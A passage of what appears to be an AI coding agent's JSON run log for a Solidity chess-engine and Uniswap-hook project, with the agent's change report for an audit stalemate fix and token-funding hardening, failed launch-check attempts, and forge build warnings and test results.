tests, the 123 original ones plus 10 new ones. The changes are staged but not committed: git has no author identity on this machine, and I didn't set one because that would mean writing to `.git/` or inventing a name.\n\nThe engine already met the launch rules: no constructor, owner, storage, ETH handling or forbidden opcodes. `launch.json`, `foundry.toml`, `lib/` and the remappings are untouched.\n\n**What changed in `src/`:**\n1. **`ChessEngineV5.sol`, the audit's stalemate finding (a5a332b4).** It reproduced. The engine only checked whether its chosen move stalemated the opponent when the opponent had three or fewer pieces left. Pawns that can't move still count as pieces, so in the audit's position it took the rook and drew a game it was winning. I removed that piece-count limit, as the audit suggested. The engine's compiled size went from 22,182 to 22,111 bytes, still under the 24,576 limit. The `launch.json` notes still say 22,182, so the manifest step should use the new figure.\n2. **`IMDuelHook.sol`, why the last attempt was rejected.** Static analysis covers all of `src/`, including the hook, which isn't deployed in this launch. `fundChest` now takes tokens only from the caller and refuses a token whose transfer returns `false`. The hook then passes on only what actually arrived to the Uniswap pool manager, so fee-on-transfer tokens still credit 99%. One behaviour change: a token that returns `false` used to be accepted with nothing credited; now the call reverts.\n3. **`IMDuelHook.sol`, `teamOf`.** Rewritten without the `^` operator, which Slither flagged as a high-severity \"should this be `**`?\" warning. The `^` was intended; tests confirm the new version gives the same result as the original for every possible input.\n\n**Tests:** the new ones are in `test/Adaptation.t.sol` (the audit's position, a fuzz test over strong settings, the funding path and the `teamOf` comparison). I also added a test-only `team()` function to `test/Harness.sol`.\n\n**Slither:** Slither 0.11.6 ran on `IMDuelHook.sol` and its imports; the three high-severity findings above no longer appear. Slither didn't run separately on the engine, which I only changed by removing that one condition. The remaining medium and low findings (strict `== 0` checks, reentrancy through the trusted pool manager, locals that start at zero, ignored return values) were in the earlier report too. None is a pattern the launch rejects outright, so I left them, with reasons, in `ADAPTATION.md`. The audit's info-level coverage note isn't a defect, so I changed nothing for it.\n\n`ADAPTATION.md` at the repo root lists each change, its file and the reason.","treeHash":"69142116d65e8cf90e07268a160f2460460d6f69","usage":{"cachedInputTokens":2052759,"inputTokens":64,"model":"claude-opus-5-5","outputTokens":26271,"runtime":"claude","turns":38,"wallClockMs":1904392}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"96ece23c63b791a1","findings":[],"hash":"87e4a5dcac65a802400cfc9ef0b9dc018b010288e22a7d0993c994873f49fc6c","nodeId":"77852449-2f6b-4579-bcf9-b4222070350e","outcome":"failed","summary":"the launch check failed, so this was not submitted:\nlaunch.json: ambiguous contract name Bitboard in build artifacts","treeHash":null,"usage":{"cachedInputTokens":360971,"inputTokens":38,"model":"claude-opus-5-5","outputTokens":6183,"runtime":"claude","turns":20,"wallClockMs":1361924}},{"artifacts":[],"attempt":2,"bundleHash":null,"device":"a800aae85243bc87","findings":[],"hash":"b60f4b1a305ce7a33222883cef2f8813a95ae5fed97c9ff39b5d3fb6d9de5cef","nodeId":"77852449-2f6b-4579-bcf9-b4222070350e","outcome":"failed","summary":"the launch check failed, so this was not submitted:\nlaunch.json: ambiguous contract name Bitboard in build artifacts","treeHash":null,"usage":{"cachedInputTokens":464522,"inputTokens":42,"model":"claude-opus-5-5","outputTokens":11758,"runtime":"claude","turns":23,"wallClockMs":1777726}},{"artifacts":[],"attempt":3,"bundleHash":null,"device":"aefe32dd2527eb68","findings":[],"hash":"dd7cdc0a5811adfe8d824f632bff8f4d9fd0d26e58fcebf1361389a8702cadeb","nodeId":"77852449-2f6b-4579-bcf9-b4222070350e","outcome":"failed","summary":"needs input: The launch_manifest check fails on the build itself, not on launch.json: foundry.toml compiles ChessEngineV5.sol and its imports at 200 runs (compilation_restrictions plus the 'small' additional_compiler_profile) and everything else at 20,000 runs. So even a src-only forge build writes both out/Bitboard.sol/Bitboard.json and Bitboard.small.json (Rules, Chess and IChessEngine are duplicated the same way), and the check rejects the build as 'ambiguous contract name Bitboard'. launch.json names only ChessEngineV5 with no constructor arguments, and its notes do not mention Bitboard. forge build and forge test pass. This task may change only launch.json and no compiler setting, so the duplicate artifacts cannot be removed from here. — Should foundry.toml's compiler profiles be changed so that each contract is built once (for example, set optimizer_runs = 200 for the whole project and drop additional_compiler_profiles/compilation_restrictions), or will the launch check be fixed to resolve Ch","treeHash":null,"usage":{"cachedInputTokens":610516,"inputTokens":54,"model":"claude-opus-5-5","outputTokens":12730,"runtime":"claude","turns":28,"wallClockMs":1842410}}],"verification":[{"checks":[{"durationMs":304687,"exitCode":0,"name":"build","output":"Compiling 120 files with Solc 0.8.26\nCompiling 34 files with Solc 0.8.26\nSolc 0.8.26 finished in 40.35s\nSolc 0.8.26 finished in 304.45s\nCompiler run successful with warnings:\nWarning (8760): This declaration has the same name as another declaration.\n  --> test/Harness.sol:86:9:\n   |\n86 |         uint256 team = teamOf(g.slice, g.gameNo, black);\n   |         ^^^^^^^^^^^^\nNote: The other declaration is here:\n  --> test/Harness.sol:92:5:\n   |\n92 |     function team(uint8 slice, uint32 gameNo, bool black) external pure returns (uint256) {\n   |     ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (3149): The result type of the shift operation is equal to the type of the first operand (uint64) ignoring the (larger) type of the second operand (uint256) which might be unexpected. Silence this warning by either converting the first or the second operand to the type of the other.\n   --> src/Bitboard.sol:108:22:\n    |\n108 |             rook = ((FILE_A << f) | (RANK_1 << (8 * r))) ^ bit;\n    |                      ^^^^^^^^^^^\n\nWarning (3149): The result type of the shift operation is equal to the type of the first operand (uint64) ignoring the (larger) type of the second operand (uint256) which might be unexpected. Silence this warning by either converting the first or the second operand to the type of the other.\n   --> src/Bitboard.sol:108:38:\n    |\n108 |             rook = ((FILE_A << f) | (RANK_1 << (8 * r))) ^ bit;\n    |                                      ^^^^^^^^^^^^^^^^^\n\nWarning (3149): The result type of the shift operation is equal to the type of the first operand (uint64) ignoring the (larger) type of the second operand (uint256) which might be unexpected. Silence this warning by either converting the first or the second operand to the type of the other.\n   --> src/Bitboard.sol:109:57:\n    |\n109 |             uint64 d = f >= r ? DIAG >> (8 * (f - r)) : DIAG << (8 * (r - f));\n    |                                                         ^^^^^^^^^^^^^^^^^^^^^\n\nWarning (3149): The result type of the shift operation is equal to the type of the first operand (uint64) ignoring the (larger) type of the second operand (uint256) which might be unexpected. Silence this warning by either converting the first or the second operand to the type of the other.\n   --> src/Bitboard.sol:110:65:\n    |\n110 |             uint64 a = f + r <= 7 ? ANTI >> (8 * (7 - f - r)) : ANTI << (8 * (f + r - 7));\n    |                                                                 ^^^^^^^^^^^^^^^^^^^^^^^^^\n\nWarning (6321): Unnamed return variable can remain unassigned. Add an explicit return with value to all non-reverting code paths or name the variable.\n  --> test/Hostile.t.sol:59:18:\n   |\n59 |         returns (uint16, Rules.Played memory)\n   |                  ^^^^^^\n\nWarning (6321): Unnamed return variable can remain unassigned. Add an explicit return with value to all non-reverting code paths or name the variable.\n  --> test/Hostile.t.sol:59:26:\n   |\n59 |         returns (uint16, Rules.Played memory)\n   |                          ^^^^^^^^^^^^^^^^^^^\n\nWarning (2072): Unused local variable.\n  --> test/Game.t.sol:86:9:\n   |\n86 |         IMDuelHook.Game memory g = st();\n   |         ^^^^^^^^^^^^^^^^^^^^^^^^\n\nWarning (2018): Function state mutability can be restricted to view\n   --> test/Bitboard.t.sol:141:5:\n    |\n141 |     function castles(uint16[17] memory line, uint256 plies, uint16 castle) internal returns (bool found) {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (2018): Function state mutability can be restricted to view\n  --> test/LaunchFiles.t.sol:62:5:\n   |\n62 |     function test_engineLaunchFileDeploysTheEngineWithoutArguments() public {\n   |     ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (3149): The result type of the shift operation is equal to the type of the first operand (uint64) ignoring the (larger) type of the second operand (uint256) which might be unexpected. Silence this warning by either converting the first or the second operand to the type of the other.\n   --> src/Bitboard.sol:108:22:\n    |\n108 |             rook = ((FILE_A << f) | (RANK_1 << (8 * r))) ^ bit;\n    |                      ^^^^^^^^^^^\n\nWarning (3149): The result type of the shift operation is equal to the type of the first operand (uint64) ignoring the (larger) type of the second operand (uint256) which might be unexpected. Silence this warning by either converting the first or the second operand to the type of the other.\n   --> src/Bitboard.sol:108:38:\n    |\n108 |             rook = ((FILE_A << f) | (RANK_1 << (8 * r))) ^ bit;\n    |                                      ^^^^^^^^^^^^^^^^^\n\nWarning (3149): The result type of the shift operation is equal to the type of the first operand (uint64) ignoring the (larger) type of the second operand (uint256) which might be unexpected. Silence this warning by either converting the first or the second operand to the type of the other.\n   --> src/Bitboard.sol:109:57:\n    |\n109 |             uint64 d = f >= r ? DIAG >> (8 * (f - r)) : DIAG << (8 * (r - f));\n    |                                                         ^^^^^^^^^^^^^^^^^^^^^\n\nWarning (3149): The result type of the shift operation is equal to the type of the first operand (uint64) ignoring the (larger) type of the second operand (uint256) which might be unexpected. Silence this warning by either converting the first or the second operand to the type of the other.\n   --> src/Bitboard.sol:110:65:\n    |\n110 |             uint64 a = f + r <= 7 ? ANTI >> (8 * (7 - f - r)) : ANTI << (8 * (f + r - 7));\n    |                                                                 ^^^^^^^^^^^^^^^^^^^^^^^^^\n\nWarning (3149): The result type of the shift operation is equal to the type of the first operand (uint64) ignoring the (larger) type of the second operand (uint256) which might be unexpected. Silence this warning by either converting the first or the second operand to the type of the other.\n   --> src/ChessEngineV5.sol:446:38:\n    |\n446 |             uint64 ahead = c.white ? ~uint64(0) << ((r + 1) * 8) : (uint64(1) << (r * 8)) - 1;\n    |                                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nWarning (3149): The result type of the shift operation is equal to the type of the first operand (uint64) ignoring the (larger) type of the second operand (uint256) which might be unexpected. Silence this warning by either converting the first or the second operand to the type of the other.\n   --> src/ChessEngineV5.sol:446:69:\n    |\n446 |             uint64 ahead = c.white ? ~uint64(0) << ((r + 1) * 8) : (uint64(1) << (r * 8)) - 1;\n    |                                                                     ^^^^^^^^^^^^^^^^^^^^\n\n","passed":true},{"durationMs":106105,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/Size.t.sol:SizeTest\n[PASS] test_deployedCodeFitsTheBudgets() (gas: 89424)\nLogs:\n  hook: 21327\n  engine v5: 22111\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.11ms (2.95ms CPU time)\n\nRan 3 tests for test/LaunchFiles.t.sol:LaunchFilesTest\n[PASS] test_engineLaunchFileDeploysTheEngineWithoutArguments() (gas: 7570)\n[PASS] test_ethereumLaunchFile() (gas: 170504)\n[PASS] test_sepoliaLaunchFile() (gas: 166620)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 6.20ms (3.27ms CPU time)\n\nRan 1 test for test/Bitboard.t.sol:CastlingRightsTest\n[PASS] test_aCapturedRookTakesItsCastlingRight() (gas: 965991)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.42ms (4.89ms CPU time)\n\nRan 7 tests for test/Draws.t.sol:DrawsTest\n[PASS] test_checkmate() (gas: 233578)\n[PASS] test_moveCap() (gas: 233721)\n[PASS] test_ordinaryMoveDoesNotEndTheGame() (gas: 175106)\n[PASS] test_quietMoveLimit() (gas: 239838)\n[PASS] test_stalemate() (gas: 231799)\n[PASS] test_thirdRepetition() (gas: 927248)\n[PASS] test_tooFewPiecesToMate() (gas: 226289)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 8.10ms (3.33ms CPU time)\n\nRan 2 tests for test/Adaptation.t.sol:TeamOfTest\n[PASS] testFuzz_teamOfMatches(bool,uint32,bool) (runs: 256, μ: 9460, ~: 9458)\n[PASS] test_teamOfMatchesTheOriginalFormula() (gas: 115572)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 11.21ms (6.00ms CPU time)\n\nRan 5 tests for test/Teams.t.sol:TeamsTest\n[PASS] test_aDynamicFeePoolPlaysWithAZeroLpFee() (gas: 1803004)\n[PASS] test_nativeEthIsATeamLikeAnyToken() (gas: 1196412)\n[PASS] test_poolsOnOneHookKeepSeparateGamesAndChests() (gas: 2276169)\n[PASS] test_sliceSide() (gas: 693625)\n[PASS] test_twoPlainTokensCannotDuel() (gas: 2158360)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 24.30ms (20.60ms CPU time)\n\nRan 5 tests for test/Adaptation.t.sol:FundChestPullTest\n[PASS] testFuzz_chestRecordsWhatWasFunded(uint256,uint256) (runs: 256, μ: 280626, ~: 280711)\nLogs:\n  Bound result 16786\n  Bound result 320\n\n[PASS] test_aCallerWithoutAllowanceCannotFund() (gas: 113834)\n[PASS] test_aTokenAnsweringFalseIsRefused() (gas: 50261)\n[PASS] test_onlyWhatThisCallerSentIsCredited() (gas: 200296)\n[PASS] test_tokensComeFromTheCallerAndPassThroughToTheManager() (gas: 372260)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 57.24ms (52.21ms CPU time)\n\nRan 13 tests for test/Slice.t.sol:SliceTest\n[PASS] test_aBatchCannotBeSoldAtAPushedPrice() (gas: 25475800)\nLogs:\n  attacker profit (IMD, 1e18): -36380453282245771\n\n[PASS] test_aBatchStopsAtItsPriceLimit() (gas: 23507298)\n[PASS] test_aFailedConversionNeverBreaksATrade() (gas: 23357716)\n[PASS] test_anEthBatchIsCapped() (gas: 23839807)\n[PASS] test_anEthBatchWithAnEmptyRouteWaits() (gas: 23534446)\n[PASS] test_anyoneCanConvert() (gas: 531495)\n[PASS] test_booksBalanceAcrossPools() (gas: 8719498)\n[PASS] test_ethBatchKeepsTheImdTheMainDuelCouldNotTake() (gas: 23546860)\n[PASS] test_ethDuelsGoThroughTheImdEthPool() (gas: 1278494)\n[PASS] test_imduelDuelsNeedNoSwap() (gas: 754998)\n[PASS] test_mainDuelSliceBuysImduelHalfToTheChestHalfBurned() (gas: 493016)\n[PASS] test_noRouteNoDuel() (gas: 1869099)\n[PASS] test_otherDuelsFeedTheMainChest() (gas: 1238160)\nSuite result: ok. 13 passed; 0 failed; 0 skipped; finished in 59.25ms (54.31ms CPU time)\n\nRan 1 test for test/BitboardGas.t.sol:BitboardGasTest\n[PASS] test_costs() (gas: 51567349)\nLogs:\n  legal moves (bitboards): 42371\n  legal moves + check + mate tests (bitboards): 86426\n  attack count maps, both sides: 61926\n  mate in one search: 37102\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 85.54ms (83.91ms CPU time)\n\nRan 10 tests for test/EngineV5Launch.t.sol:EngineV5DeploymentTest\n[PASS] testFuzz_onlyMoveIsPlayed(uint256,uint256,uint16) (runs: 256, μ: 150648, ~: 160821)\nLogs:\n  Bound result 3655\n\n[PASS] testFuzz_strengthAboveFullReverts(uint256,uint256) (runs: 256, μ: 40616, ~: 40489)\nLogs:\n  Bound result 115792089237316195423570985008687907853269984665640564039457584007913129638326\n\n[PASS] test_checkmatedSideReverts() (gas: 335570)\n[PASS] test_deploysWithoutArgumentsUnderTheSizeLimit() (gas: 12280)\n[PASS] test_refusesEth() (gas: 98541)\n[PASS] test_stalematedSideReverts() (gas: 123892)\n[PASS] test_strengthAboveFullReverts() (gas: 112656)\n[PASS] test_strengthCheckedOnTerminalPositions() (gas: 40236)\n[PASS] test_strengthEdgesAccepted() (gas: 1045529)\n[PASS] test_unknownSelectorReverts() (gas: 51179)\nSuite result: ok. 10 passed; 0 failed; 0 skipped; finished in 158.04ms (214.15ms CPU time)\n\nRan 3 tests for test/Adaptation.t.sol:EngineStalemateTest\n[PASS] testFuzz_strongTradesDoNotStalemate(uint256,uint256) (runs: 256, μ: 168983, ~: 169023)\nLogs:\n  Bound result 7823\n\n[PASS] test_fullAccuracyDoesNotStalemateWithFourEnemyPieces() (gas: 1313460)\n[PASS] test_threeEnemyPiecesStillAvoided() (gas: 1279513)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 198.42ms (205.49ms CPU time)\n\nRan 7 tests for test/Hostile.t.sol:HostileTest\n[PASS] test_aDeadEngineLeavesTheTurnQueuedAndTradingGoesOn() (gas: 4835201)\n[PASS] test_aGasBurningEngineCostsOneExpensiveTradeNotTheGame() (gas: 12349637)\n[PASS] test_blockedRecipientStaysOwedAndTradingContinues() (gas: 4885021)\n[PASS] test_brokenEngineFallsBackToALegalMove() (gas: 7786122)\n[PASS] test_feeOnTransferTokenFundsOnlyWhatArrives() (gas: 3418614)\n[PASS] test_reenteringTokenCannotBreakAPayout() (gas: 5481468)\n[PASS] test_starvingTheEngineNeverPlaysTheFallback() (gas: 44957806)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 215.75ms (107.83ms CPU time)\n\nRan 3 tests for test/GasEstimate.t.sol:GasEstimateTest\n[PASS] test_atTheEstimateADueBatchConverts() (gas: 24177454)\nLogs:\n  smallest gas limit that converts: 381737\n\n[PASS] test_atTheEstimateTheBountyIsPaidNotOwed() (gas: 25216183)\nLogs:\n  smallest gas limit that plays and pays: 397167\n\n[PASS] test_noGasLimitPlaysTheMoveAndLeavesItsBountyOwed() (gas: 32083724)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 216.45ms (217.90ms CPU time)\n\nRan 1 test for test/EngineV5Launch.t.sol:EngineV5InvariantTest\n[PASS]\nEngineV5InvariantTest invariants:\n[PASS] invariant_engineHoldsNothingAndIsUnchanged\n[PASS] invariant_everyMoveLegalAndApplied\n EngineV5InvariantTest invariants (runs: 24, calls: 960, reverts: 0)\n\n╭-------------------+----------+-------+---------+----------╮\n| Contract          | Selector | Calls | Reverts | Discards |\n+===========================================================+\n| EngineGameHandler | play     | 318   | 0       | 0        |\n|-------------------+----------+-------+---------+----------|\n| EngineGameHandler | playAny  | 327   | 0       | 0        |\n|-------------------+----------+-------+---------+----------|\n| EngineGameHandler | sendEth  | 315   | 0       | 0        |\n╰-------------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 1000000000000000000\n  Bound result 8388607\n  Bound result 9396\n  Bound result 788\n  Bound result 3951\n  Bound result 5562\n  Bound result 3611\n  Bound result 446744069414584321\n  Bound result 446744073709551615\n  Bound result 11317\n  Bound result 2981\n  Bound result 102\n  Bound result 8351\n  Bound result 7\n  Bound result 810\n  Bound result 385830267205873564\n  Bound result 12889\n  Bound result 8416\n  Bound result 831\n  Bound result 7988\n  Bound result 619368849349616310\n  Bound result 995000\n  Bound result 34733095106232143\n  Bound result 997000\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 492.86ms (487.28ms CPU time)\n\nRan 1 test for test/Predict.t.sol:PredictTest\n[PASS] test_aBotCannotPickItsOwnCapturingMoves() (gas: 311907006)\nLogs:\n  bot moves: 0\n  other moves: 73\n  captures among other moves: 19\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 679.83ms (676.98ms CPU time)\n\nRan 5 tests for test/HookGas.t.sol:HookGasTest\n[PASS] test_conversionGas() (gas: 1747170)\nLogs:\n  plain trade: 206306\n  trade that converts a batch: 282378\n\n[PASS] test_hookShareOfAMovingTrade() (gas: 29018484)\nLogs:\n  hook share of a moving trade: average: 270824\n  hook share of a moving trade: max: 311510\n\n[PASS] test_middlegameGas() (gas: 8248364)\nLogs:\n  first bid in a new pool: 266752\n  bidding trade: 188322\n  outbidding trade: 204179\n  plain trade: 179167\n  next block: play the turn and bid: 537873\n\n[PASS] test_openingGas() (gas: 3346783)\nLogs:\n  first bid in a new pool: 266752\n  bidding trade: 189069\n  outbidding trade: 204179\n  plain trade: 179167\n  next block: play the turn and bid: 432592\n\n[PASS] test_runningGameGas() (gas: 53542245)\nLogs:\n  running game, moving trades measured: 50\n  running game, moving trade average: 450242\n  running game, moving trade max: 603580\n\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 696.07ms (208.49ms CPU time)\n\nRan 5 tests for test/EngineV5Launch.t.sol:EngineV5PropertyTest\n[PASS] testFuzz_freeQueenTakenAtFullStrength(uint256) (runs: 256, μ: 317653, ~: 317832)\n[PASS] testFuzz_openingMovesLegalAtAnyStrength(uint256,uint256) (runs: 256, μ: 530452, ~: 562826)\nLogs:\n  Bound result 7544\n\n[PASS] testFuzz_playAnyIsLegal(uint256,uint8,uint256) (runs: 128, μ: 2043714, ~: 1445427)\nLogs:\n  Bound result 0\n\n[PASS] testFuzz_playIsLegalAndMatchesTheRules(uint256,uint8,uint256,uint256,uint64[8],uint32,uint16) (runs: 96, μ: 2153246, ~: 1623376)\nLogs:\n  Bound result 39\n  Bound result 9951\n\n[PASS] test_mateInOneTakenWithinTheTestedChecks() (gas: 2658050)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 696.20ms (1.43s CPU time)\n\nRan 23 tests for test/Game.t.sol:GameTest\n[PASS] testFuzz_swapsNeverRevert(uint256) (runs: 48, μ: 9434548, ~: 9445834)\n[PASS] test_aGamePlaysOutThroughSwaps() (gas: 30487273)\nLogs:\n  moves played: 44\n  bids (incl. outbid ones): 60\n  most gas for a swap: 557041\n\n[PASS] test_aSmallerTradeInTheBlockDoesNotTakeTheTurn() (gas: 677018)\n[PASS] test_aTimeoutTurnCanBeTakenInItsBlock() (gas: 1287640)\n[PASS] test_aTradeBidsForTheTurn() (gas: 477426)\n[PASS] test_aTurnClosesWithItsBlock() (gas: 942872)\n[PASS] test_anExpiredTurnBecomesATimeoutTurn() (gas: 1407405)\n[PASS] test_anOldTurnIsPlayedWithTheHistoryContractsHash() (gas: 1720236)\n[PASS] test_anyTradeSizeBids() (gas: 444548)\n[PASS] test_lateTradeStillBidsNormally() (gas: 424246)\n[PASS] test_onlyThePoolManagerAndTheHookCanCallIn() (gas: 168361)\n[PASS] test_ownerDefaultsToTxOrigin() (gas: 410676)\n[PASS] test_playedPositionsEnterTheRepetitionMemory() (gas: 893671)\n[PASS] test_rejectsBadConfig() (gas: 9170)\n[PASS] test_silentSidePlaysAtZeroStrength() (gas: 1032390)\n[PASS] test_strengthFollowsTheShareOfThePool() (gas: 6474817)\n[PASS] test_teamsSwapColoursEveryGame() (gas: 912235)\n[PASS] test_theBiggestTradeInTheBlockOwnsTheTurn() (gas: 771074)\n[PASS] test_theFirstPoolOpenedIsTheMainDuel() (gas: 178158)\n[PASS] test_theMainDuelMustPairImd() (gas: 1186779)\n[PASS] test_theNextBlocksTradePlaysTheTurn() (gas: 1015137)\n[PASS] test_theOtherTeamCannotBidOnThisTurn() (gas: 407181)\n[PASS] test_whoPlaysTheTurnAndWhenDoesNotChangeTheMove() (gas: 1495127)\nSuite result: ok. 23 passed; 0 failed; 0 skipped; finished in 914.34ms (1.02s CPU time)\n\nRan 21 tests for test/Money.t.sol:MoneyTest\n[PASS] testFuzz_heldEqualsOwed(uint256) (runs: 48, μ: 10563348, ~: 10651915)\n[PASS] test_aFullChestTakesNoMore() (gas: 1114622)\n[PASS] test_aTradeStoppedByItsPriceLimitIsRefused() (gas: 576171)\n[PASS] test_blackCaptureIsPaidInItsTeamToken() (gas: 774640)\n[PASS] test_bountyTable() (gas: 44254)\n[PASS] test_checkmatePaysAQuarterOfTheChest() (gas: 753281)\n[PASS] test_chestShareGoesToTheChestWorthLess() (gas: 629772)\n[PASS] test_chestsStayAboutEqualInValue() (gas: 5404534)\n[PASS] test_exactOutputPaysTheFeeOnTheInput() (gas: 380418)\n[PASS] test_exactOutputWithTheChestShareInTheOutput() (gas: 797157)\n[PASS] test_failedPayoutStaysOwedAndTheTradeGoesThrough() (gas: 1229792)\n[PASS] test_feesCannotBeWithdrawnByAnyone() (gas: 445126)\n[PASS] test_firstTradeFundsChest0AndTheSlice() (gas: 359275)\n[PASS] test_fundChestNeedsTheRightValue() (gas: 48574)\n[PASS] test_fundChestOnlyForHookPools() (gas: 41773)\n[PASS] test_fundChestWithEth() (gas: 251271)\n[PASS] test_fundChestWithTokens() (gas: 199221)\n[PASS] test_openingSurchargeOnlyInTheMainDuel() (gas: 3436069)\n[PASS] test_payoutIsCappedAtTwiceTheTrade() (gas: 821323)\n[PASS] test_quietMovePaysNothing() (gas: 619359)\n[PASS] test_whiteCaptureIsPaidInItsTeamTokenFromItsOwnChest() (gas: 847766)\nSuite result: ok. 21 passed; 0 failed; 0 skipped; finished in 939.00ms (955.63ms CPU time)\n\nRan 1 test for test/V5Profile.t.sol:V5ProfileTest\n[PASS] test_stages() (gas: 416103774)\nLogs:\n  positions: 216\n  context: 31797\n  context + legal moves: 72004\n  context + legal + cheap pass: 210244\n  context + legal + one exact re-score: 101221\n  full choice at 50%: 229568\n  per position: loop only: 84806\n  per position: gain: 21278\n  per position: check test: 18802\n  per position: zone pressure: 15007\n  per position: threat: 10339\n  per position: noise: 6841\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 940.11ms (938.41ms CPU time)\n\nRan 1 test for test/Invariant.t.sol:InvariantTest\n[PASS]\nInvariantTest invariants:\n[PASS] invariant_boardHasBothKingsAndPlyIsBounded\n[PASS] invariant_heldEqualsOwed\n InvariantTest invariants (runs: 24, calls: 2400, reverts: 0)\n\n╭----------+----------------+-------+---------+----------╮\n| Contract | Selector       | Calls | Reverts | Discards |\n+========================================================+\n| Handler  | convert        | 306   | 0       | 0        |\n|----------+----------------+-------+---------+----------|\n| Handler  | fund           | 317   | 0       | 0        |\n|----------+----------------+-------+---------+----------|\n| Handler  | longPause      | 287   | 0       | 0        |\n|----------+----------------+-------+---------+----------|\n| Handler  | nextBlock      | 303   | 0       | 0        |\n|----------+----------------+-------+---------+----------|\n| Handler  | trade          | 280   | 0       | 0        |\n|----------+----------------+-------+---------+----------|\n| Handler  | tradeAgain     | 285   | 0       | 0        |\n|----------+----------------+-------+---------+----------|\n| Handler  | tradeNextBlock | 312   | 0       | 0        |\n|----------+----------------+-------+---------+----------|\n| Handler  | withdrawReward | 310   | 0       | 0        |\n╰----------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 18875291925397289393\n  Bound result 41083361595388734853\n  Bound result 3257\n  Bound result 19999999000000002387\n  Bound result 21\n  Bound result 19999999000000000121\n  Bound result 2031179153369238117\n  Bound result 500\n  Bound result 1000000000002\n  Bound result 64\n  Bound result 24\n  Bound result 19999999000000002681\n  Bound result 19999999999999999999\n  Bound result 262\n  Bound result 3\n  Bound result 19999999000000011194\n  Bound result 1000000000003\n  Bound result 104729\n  Bound result 19999999000000000705\n  Bound result 45\n  Bound result 12917736984214498361\n  Bound result 19999999000000019898\n  Bound result 19999999000000000064\n  Bound result 19999999000000000537\n  Bound result 19999999000000002501\n  Bound result 19999999000000007788\n  Bound result 15159\n  Bound result 6255437994245198449\n  Bound result 118\n  Bound result 20000000000000000000\n  Bound result 18936515055586986093\n  Bound result 4148328412413322223\n  Bound result 4495717442561279573\n  Bound result 6591551337214261051\n  Bound result 19999999000000002613\n  Bound result 19999999000000003178\n  Bound result 19999999000008388609\n  Bound result 26323861987005628415\n  Bound result 6635\n  Bound result 25930274027923399075\n  Bound result 8382523227633657826\n  Bound result 50000000000000000000\n  Bound result 19999999000000018342\n  Bound result 19999999000000000863\n  Bound result 19999999000000019473\n  Bound result 2989\n  Bound result 1000000000003\n  Bound result 18\n  Bound result 19999999000000017455\n  Bound result 19999999000000006923\n  Bound result 333\n  Bound result 13\n  Bound result 18724220354523100748\n  Bound result 15\n  Bound result 13264\n  Bound result 19999999000000003105\n  Bound result 19999999000000002501\n  Bound result 19999999000000000537\n  Bound result 14573925003770228721\n  swaps: 34\n  moves: 16\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.31s (1.30s CPU time)\n\nRan 11 tests for test/Bidding.t.sol:BiddingTest\n[PASS] test_aBountyIsPaidFromTheMoversChest() (gas: 1353500)\n[PASS] test_aBuyOfTheOtherTeamBidsForItsNextMove() (gas: 1918349)\n[PASS] test_aBuyOfTheOtherTeamTimesTheSilentSideOutAndBids() (gas: 1205593)\n[PASS] test_aClosedWindowTakesNoBidsForItsMove() (gas: 1051654)\n[PASS] test_aMoveIsOpenForTurnBlocksBlocks() (gas: 1028626)\n[PASS] test_aNewTopMustPayMoreThanTenPercentMore() (gas: 960671)\n[PASS] test_aWindowWithoutBidsBecomesTheFirstBidsBlock() (gas: 1269472)\n[PASS] test_bidsCountAcrossTheWholeWindow() (gas: 1494733)\n[PASS] test_theMoveDependsOnlyOnTheWindowsLastBlock() (gas: 1603943)\n[PASS] test_theMoversOwnBuyAfterItsWindowBidsForItsNextMove() (gas: 1064871)\n[PASS] test_thePreviewIsTheMoveThatIsPlayed() (gas: 1210749)\nSuite result: ok. 11 passed; 0 failed; 0 skipped; finished in 2.50s (24.34ms CPU time)\n\nRan 3 tests for test/Launch.t.sol:LaunchTest\n[PASS] test_launchPairedWithEth() (gas: 39936239)\n[PASS] test_launchTokenAboveImd() (gas: 41228819)\nLogs:\n  first buy (opens game 0, bids for White): 362302\n\n[PASS] test_launchTokenBelowImd() (gas: 42092191)\nLogs:\n  first buy (opens game 0, bids for White): 357428\n\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 2.80s (167.05ms CPU time)\n\nRan 3 tests for test/Strength.t.sol:StrengthTest\n[PASS] testFuzz_boundedAndMonotonic(uint128,uint128,uint128,uint128) (runs: 2000, μ: 8357, ~: 8631)\n[PASS] testFuzz_tenfoldIsAboutThirtyPoints(uint64,uint8) (runs: 2000, μ: 5965, ~: 5803)\n[PASS] test_decidedPoints() (gas: 12786)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 2.80s (2.92s CPU time)\n\nRan 6 tests for test/EngineV5Conversion.t.sol:EngineV5ConversionTest\n[PASS] test_bareKingConversion() (gas: 11516873)\nLogs:\n  cases: 4\n  average half-moves to mate: 13\n  converting side: gas avg: 253244\n  converting side: gas max: 338037\n\n[PASS] test_conversionRegressionAndBlackSymmetry() (gas: 95940786)\nLogs:\n  cases: 32\n  average half-moves to mate: 14\n  converting side: gas avg: 238206\n  converting side: gas max: 